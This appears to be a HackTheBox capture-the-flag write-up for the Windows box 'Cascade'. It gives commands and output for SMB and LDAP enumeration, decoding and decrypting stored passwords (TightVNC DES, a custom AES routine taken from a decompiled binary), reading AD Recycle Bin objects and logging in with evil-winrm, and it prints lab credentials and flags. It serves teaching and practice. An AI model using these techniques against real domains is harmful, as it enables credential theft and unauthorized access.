Metadata
- Platform: HackTheBox
- CTF: Cascade
- OS: Windows
- Difficulty: Medium
Summary
This box is quite enumeration heavy, as we discover multiple sets of credentials this way. At first, anonymous access to LDAP lets us access an encoded password for a domain user, as which we obtain partial access to a smb share. On this share, we find a registry entry, which contains a weakly hex encoded and DES encrypted password string, which we quickly decrypt. The acquired credentials grant us a foothold on the target, as well as additional access to another smb share.
The newly acquired access reveals a database with another encrypted password. By debugging the application, which decrypts this password at runtime, we create a Python script to reverse the encryption process and obtain another set of credentials. Since the acquired user has special read permission on the domain, we can read a password of a seemingly deleted account, over which we acquire the Administrator
’s password.
Solution
Reconnaissance
With Nmap, we quickly discover that the target the part of an AD environment.
nmap -sC -sV 10.10.10.182 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 10:43 CEST
Nmap scan report for 10.10.10.182
Host is up (0.053s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open tcpwrapped
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-09T08:44:53
|_ start_date: 2025-04-09T08:42:07
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
The amount of exposed services we can interact with is quite low. We should therefore mainly focus on SMB and LDAP, and check if we can extract any valuable information. First, we can check with SMBclient if anonymous access to smb is allowed, as we currently don’t have any credentials.
smbclient -L //10.10.10.182/ -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.182 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Despite the error, the message prompt tells us that anonymous access is in fact allowed. While we currently can not view any shares, we can use this access to enumerate users on the domain with Netexec.
netexec smb 10.10.10.182 --users
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.10.182 445 CASC-DC1 CascGuest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.10.182 445 CASC-DC1 arksvc 2020-01-09 16:18:20 0
SMB 10.10.10.182 445 CASC-DC1 s.smith 2020-01-28 19:58:05 0
SMB 10.10.10.182 445 CASC-DC1 r.thompson 2020-01-09 19:31:26 0
SMB 10.10.10.182 445 CASC-DC1 util 2020-01-13 02:07:11 0
SMB 10.10.10.182 445 CASC-DC1 j.wakefield 2020-01-09 20:34:44 0
SMB 10.10.10.182 445 CASC-DC1 s.hickson 2020-01-13 01:24:27 0
SMB 10.10.10.182 445 CASC-DC1 j.goodhand 2020-01-13 01:40:26 0
SMB 10.10.10.182 445 CASC-DC1 a.turnbull 2020-01-13 01:43:13 0
SMB 10.10.10.182 445 CASC-DC1 e.crowe 2020-01-13 03:45:02 0
SMB 10.10.10.182 445 CASC-DC1 b.hanson 2020-01-13 16:35:39 0
SMB 10.10.10.182 445 CASC-DC1 d.burman 2020-01-13 16:36:12 0
SMB 10.10.10.182 445 CASC-DC1 BackupSvc 2020-01-13 16:37:03 0
SMB 10.10.10.182 445 CASC-DC1 j.allen 2020-01-13 17:23:59 0
SMB 10.10.10.182 445 CASC-DC1 i.croft 2020-01-15 21:46:21 0
SMB 10.10.10.182 445 CASC-DC1 [*] Enumerated 15 local users: CASCADE
Great, now we have a list of users. After saving these to a file and checking if any of these are kerberoastable without pre authentication, we sadly retrieve a negative response of all accounts. Since this won’t lead us anywhere as of right now, we should continue our enumeration process with the LDAP service. For this, we can use LDAPsearch.
ldapsearch -H ldap://10.10.10.182 -b "dc=cascade,dc=local" -D cascade\\ldap
This command will return a very verbose output, since it will dump all available information. After searching through these entries, we can find only a single unusual one. Most of the domain users have the same LDAP field, however r.thompson
also has a unique field called cascadeLegacyPwd
.
Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
<cut>
sAMAccountName: r.thompson
<cut>
cascadeLegacyPwd: clk0bjVldmE=
User Flag
From the name of the field in combination with the value, this looks like a base64 encoded password string for r.thompson
. Let’s decode it.
echo 'clk0bjVldmE=' | base64 -d
rY4n5eva
This discovered set of credentials sadly does not let us create a remote PowerShell session on the target. But since we were not able to inspect smb shares, this is a great place to check for additional access.
smbclient -L //10.10.10.182/ -U r.thompson
Password for [WORKGROUP\r.thompson]:
#
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
This looks promising. Besides the newly acquired access granting us access to smb, there are two custom shares, which might be valuable. However, our read access is still restricted as we can only access Data
and its subdirectory IT
.
smbclient //10.10.10.182/Data -U r.thompson
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 27 04:27:34 2020
.. D 0 Mon Jan 27 04:27:34 2020
Contractors D 0 Mon Jan 13 02:45:11 2020
Finance D 0 Mon Jan 13 02:45:06 2020
IT D 0 Tue Jan 28 19:04:51 2020
Production D 0 Mon Jan 13 02:45:18 2020
Temps D 0 Mon Jan 13 02:45:15 2020
In this folder, there are a few interesting files. First Email Archives
contains a Meeting_Notes_June_2018.html
.
<p>-- New production network will be going live on
Wednesday so keep an eye out for any issues. </p>
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>
So apparently, there was an account called TempAdmin
with the same password as Admininstrator
. Let’s note this for now, as it might be valuable later one. In Temp/
we find two more folders with quite special names.
smb: \IT\Temp\> ls
. D 0 Tue Jan 28 23:06:59 2020
.. D 0 Tue Jan 28 23:06:59 2020
r.thompson D 0 Tue Jan 28 23:06:53 2020
s.smith D 0 Tue Jan 28 21:00:01 202
Since the first folder’s name is the same as the one of our compromised account, s.smith
likely also refers to a private folder for the according user. In it, we find VNC Install.reg
.
��Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
<cut>
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
<cut>
For the name of this file, we already know that we are dealing with some registry entries related to TightVNC
. In there, we find a value Password
, which seems to be a hex value. After little research about how we can convert this hex value to a clear text password, I found this page, from where I took the following command.
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
00000000 73 54 33 33 33 76 65 32 |sT333ve2|
00000008
According to this output, the password is sT333ve2
. Since we found it in a folder called s.smith
, it is not a surprise that we can create a remote PowerShell session with Evil-WinRM as this user on the target machine, which enables us to claim the user flag.
evil-winrm -i 10.10.10.182 -u s.smith -p 'sT333ve2'
bd7569d1b783ed46844b301c017bfa1f
Root Flag
Before we enumerate the local system and the domain with our acquired foothold, let’s check if this account gives us more permissions on the smb, as there still was an inaccessible share. While our access to Data
remains the same, these credentials permit us to access audit$
.
smbclient //10.10.10.182/Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 29 19:01:26 2020
.. D 0 Wed Jan 29 19:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 22:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 19:00:20 2020
DB D 0 Tue Jan 28 22:40:59 2020
RunAudit.bat A 45 Wed Jan 29 00:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 07:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 07:38:38 2019
x64 D 0 Sun Jan 26 23:25:27 2020
x86 D 0 Sun Jan 26 23:25:27 2020
This share contains a bunch of files. One of the immediately obvious targets is the Audit.db
file of the DB
folder, which we can confirm to be a SQLite database.
file Audit.db
Audit.db: SQLite 3.x database
<cut>
Let’s inspect it and take a look if we can find some valuable targets. As there is only one database and three small tables, we can just dump everything.
sqlite> Select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> Select * from Misc;
sqlite> Select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
The only really promising result is the single entry in the Ldap
table. Since it contains a username, as well as a password and is called Ldap
, this likely refers to domain credentials. However, the password string looks not only base64 encoded, but also encrypted, as an attempt to decode it yields many non UTF-8 characters. Now, how would we be able to decrypt this password? Since the smb share where we found the database also contains an executable CascAudit.exe
. It likely, that his application uses this database and therefore likely decrypt the password at runtime. We can inspect the executable, as well as the corresponding CascCrypto.dll
with a tool, such as ILSpy.
try
{
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
val3.Read();
text = Conversions.ToString(val3.get_Item("Uname"));
text2 = Conversions.ToString(val3.get_Item("Domain"));
string encryptedString = Conversions.ToString(val3.get_Item("Pwd"));
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
This C# code snippet describes what we already suspected. The encoded password will be loaded from the database and passed into a decryption function, which the .dll
contains. In addition, this code snippet reveals the description key to be c4scadek3y654321
.
public static string DecryptString(string EncryptedString, string Key)
{
//Discarded unreachable code: IL_009e
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
using MemoryStream stream = new MemoryStream(array);
using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
return Encoding.UTF8.GetString(array2);
}
Now, this code snippet tells is in more depth how the executable actually decrypts the password. The most important things are the following:
- the encrypted password is in fact base64 encoded
- this function uses AES 128 CBC
- the initialization vector is
1tdyjCbY1Ix49842
With this knowledge, we can quickly build our own python script, which will use this information to decrypt the key.
import base64
from Crypto.Cipher import AES
# set known variables
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
enc_b64 = "BQO5l5Kj9MdErXx6Q6AGOw=="
# decode encyrpted password
enc = base64.b64decode(enc_b64)
# decrypt password
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
dec = cipher.decrypt(enc)
# return results
output = dec.decode("utf-8")
print(output)
python3 decrypt.py
w3lc0meFr31nd
With this script, we quickly obtain the decrypted password for the account ArkSvc
. We can use this to create a session with Evil-WinRM on the target.
evil-winrm -i 10.10.10.182 -u ArkSvc -p 'w3lc0meFr31nd'
From this account’s name, we can deduce that we are dealing with some kind of service account. In many cases, there are specific permissions to perform the actions they are intended to perform. Therefore, it’s always a good idea to use Net and enumerate these permissions.
net user arksvc
User name arksvc
Full Name ArkSvc
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/9/2020 5:18:20 PM
Password expires Never
Password changeable 1/9/2020 5:18:20 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/29/2020 10:05:40 PM
Logon hours allowed All
Local Group Memberships *AD Recycle Bin *IT
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
This account is a member of the local group AD Recycle Bin
. At his point, the deleted account TempAdmin
finally comes into play. The group membership allows this user to access the AD recycling bin. If this user account was only moved into this recycling bin instead of being permanently deleted, we might still be able to access sensitive data. With the following command from this cheat sheet, we can list all relevant entries.
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
<cut>
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
<cut>
Just like in our first enumeration of LDAP, the deleted TempAdmin
account also has this unique cascadeLegacyPwd
entries with a base64 encoded password.
echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
Since the email we found on the smb share told use that this password equals the one of Administrator
, we can use it to access this account as well. This way, we can collect the root flag.
evil-winrm -i 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'
9fe7ffb146a5b62b34a075cb5abad488